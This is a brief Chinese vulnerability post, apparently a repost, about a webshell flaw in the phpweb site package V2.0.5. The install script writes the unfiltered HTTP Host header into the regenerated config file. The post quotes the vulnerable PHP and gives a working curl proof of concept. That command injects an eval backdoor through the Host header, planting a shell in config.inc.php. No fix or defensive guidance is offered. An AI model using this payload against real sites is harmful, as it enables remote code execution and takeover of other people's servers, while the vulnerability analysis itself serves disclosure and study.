好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

phpweb成品网站最新版 鸡肋getshell - 网站安全 - 自

软件版本: V2.0.5 / 20120412

 

商业收费软件

 

官网:www.phpweb.net

 

 

之所以鸡肋就是该 漏洞 利用安装文件 重新生成 配置文件 写入可执行代码

 

鸡肋1:  具有破坏性 动作非常大 重新写了配置文件 数据库连接文件

鸡肋2:  有一定安全常识的 站长 都会删掉 install 目录

 

虽然鸡肋 但也有优点   :  不受 magic_quotes_gpc 、 webserver 影响

 

分析:

$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤

 

                                        $filestr = fread(fopen($SysConfigFile, 'r'),30000);

                                        $filestr=str_replace(" ","",$filestr);

                                        $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);

                                        $filestr=str_replace("DefaultDbName",$dbname,$filestr);

                                        $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);

                                        $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);

                                        $filestr=str_replace("DefaultsLan","zh_cn",$filestr);

                                        $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);

                                        $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);

 

                                        fwrite(fopen($ConFile,"w"),$filestr,30000);

www.2cto.com

$_SERVER["HTTP_HOST"]  就是 http  head 中HOST传递过来的  可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^

poc:

curl http://192.168.1.105/code_test/phpweb/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"

复制代码

shell地址: /config.inc.php

跟之前的 phpcms一样 需要远程 数据库

查看更多关于phpweb成品网站最新版 鸡肋getshell - 网站安全 - 自的详细内容...

  阅读:33次